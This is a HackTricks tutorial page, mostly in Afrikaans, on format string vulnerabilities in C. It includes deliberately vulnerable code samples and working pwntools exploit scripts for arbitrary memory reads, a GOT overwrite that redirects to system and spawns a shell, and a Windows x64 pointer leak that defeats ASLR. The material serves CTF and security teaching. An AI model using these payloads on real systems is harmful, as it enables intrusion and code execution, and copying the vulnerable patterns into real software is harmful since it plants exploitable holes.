Format Strings

Reading time: 12 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

In C printf is 'n funksie wat gebruik kan word om 'n string te druk. Die eerste parameter wat hierdie funksie verwag, is die ruwe teks met die formaatspesifikators. Die volgende parameters wat verwag word, is die waardes om die formaatspesifikators in die ruwe teks te vervang.

Ander kwesbare funksies is sprintf() en fprintf().

Die kwesbaarheid verskyn wanneer 'n aanvallerteks as die eerste argument aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n spesiale invoer te vervaardig wat die printf format string vermoeëns misbruik om enige data by enige adres (leesbaar/skryfbaar) te lees en te skryf. Hiermee kan arbitrêre kode uitgevoer word.

Formaatspesifikators:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Voorbeelde:

  • Kwetsbare voorbeeld:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normale gebruik:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Met ontbrekende argumente:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf kwesbaar:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Toegang tot Aanwysers

Die formaat %<n>$x, waar n 'n nommer is, laat printf toe om die n-de parameter (van die stack) te kies. As jy dus die 4de parameter van die stack met printf wil lees, kan jy:

c
printf("%x %x %x %x")

en jy sal vanaf die eerste tot die vierde param lees.

Of jy kan ook doen:

c
printf("%4$x")

and read directly the forth.

Notice that the attacker controls the printf parameter, which basically means that his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

caution

An attacker controlling this input, will be able to add arbitrary address in the stack and make printf access them. In the next section it will be explained how to use this behaviour.

Arbitrary Read

It's possible to use the formatter %n$s to make printf get the address situated in the n position, following it and print it as if it was a string (print until a 0x00 is found). So if the base address of the binary is 0x8048000, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Neem asseblief kennis dat jy die adres 0x8048000 nie aan die begin van die invoer kan plaas nie omdat die string by 0x00 aan die einde van daardie adres cat sal word.

Vind offset

Om die offset na jou invoer te vind, kan jy 4 of 8 bytes (0x41414141) stuur, gevolg deur %1$x, en die waarde verhoog totdat jy die A's terugkry.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Hoe nuttig

Arbitrary reads kan nuttig wees om:

  • Dump the binary from memory
  • Toegang tot spesifieke dele van memory waar sensitiewe inligting gestoor word (soos canaries, encryption keys of custom passwords soos in hierdie CTF challenge)

Arbitrary Write

Die formatter %<num>$n skryf die aantal geskryfde bytes na die aangegewe adres in die parameter op die stack. If an attacker can write as many char as he will with printf, he is going to be able to make %<num>$n write an arbitrary number in an arbitrary address.

Gelukkig is dit nie nodig om 9999 "A"s by die inset te voeg om die nommer 9999 te skryf nie; in plaas daarvan kan mens die formatter %.<num-write>%<num>$n gebruik om die nommer <num-write> te skryf in die adres waarna die num-posisie wys.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Echter, let daarop dat gewoonlik om 'n adres te skryf soos 0x08049724 (wat 'n HUGE number is om terselfdertyd te skryf), word $hn gebruik in plaas van $n. Dit maak dit moontlik om slegs 2 Bytes te skryf. Daarom word hierdie bewerking twee keer uitgevoer, een keer vir die hoogste 2B van die adres en nog 'n keer vir die laagste.

Daarom laat hierdie kwesbaarheid toe om enige iets in enige adres te skryf (arbitrary write).

In hierdie voorbeeld is die doel om die adres van 'n function in die GOT tabel wat later aangeroep gaan word, te oorskryf. Alhoewel dit ander arbitrary write to exec techniques kan misbruik:

Write What Where 2 Exec

Ons gaan 'n function oorskryf wat sy argumente van die user ontvang en dit na die system function wys.
Soos genoem, om die adres te skryf is gewoonlik 2 stappe nodig: eers skryf jy 2Bytes van die adres en daarna die ander 2. Hiervoor word $hn gebruik.

  • HOB word genoem vir die 2 hoër bytes van die adres
  • LOB word genoem vir die 2 laer bytes van die adres

Dan, as gevolg van hoe format string werk, moet jy eers die kleinste van [HOB, LOB] skryf en dan die ander een.

If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Sjabloon

Jy kan 'n sjabloon vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in:

Format Strings Template

Of hierdie basiese voorbeeld van here:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Dit is moontlik om die write actions van 'n format string vulnerability te misbruik om in adresse van die stack te skryf en 'n buffer overflow tipe kwesbaarheid uit te buiten.

Windows x64: Format-string leak to bypass ASLR (no varargs)

Op Windows x64 word die eerste vier integer/pointer parameters in registers gegee: RCX, RDX, R8, R9. In baie buggy call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments verskaf nie, byvoorbeeld:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Omdat geen varargs deurgegee word nie, sal enige omskakeling soos "%p", "%x", "%s" die CRT veroorsaak om die volgende variadiese argument uit die toepaslike register te lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter transiente waarde ook al in R9 by die call-site is, sal gedruk word. In die praktyk leaks dit dikwels 'n stabiele in-module pointer (e.g., 'n pointer na 'n local/global object wat voorheen in R9 geplaas is deur omringende kode of 'n callee-saved waarde), wat gebruik kan word om die module base te herstel en ASLR te omseil.

Praktiese werkvloei:

  • Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
  • Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as leak - known_offset.
  • Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.

Example (abbreviated python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Aantekeninge:

  • Die presiese offset om af te trek word een keer tydens local reversing gevind en daarna hergebruik (same binary/version).
  • As "%p" nie 'n geldige pointer op die eerste poging uitdruk nie, probeer ander specifiers ("%llx", "%s") of meerdere conversions ("%p %p %p") om ander argument registers/stack te steekproef.
  • Hierdie patroon is spesifiek vir die Windows x64 calling convention en printf-family-implementasies wat nie-bestaande varargs uit registers haal wanneer die format string dit versoek.

Hierdie tegniek is uiters nuttig om ROP te bootstrap op Windows services wat met ASLR saamgestel is en geen voor die hand liggende memory disclosure primitives het nie.

Ander Voorbeelde & Verwysings

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks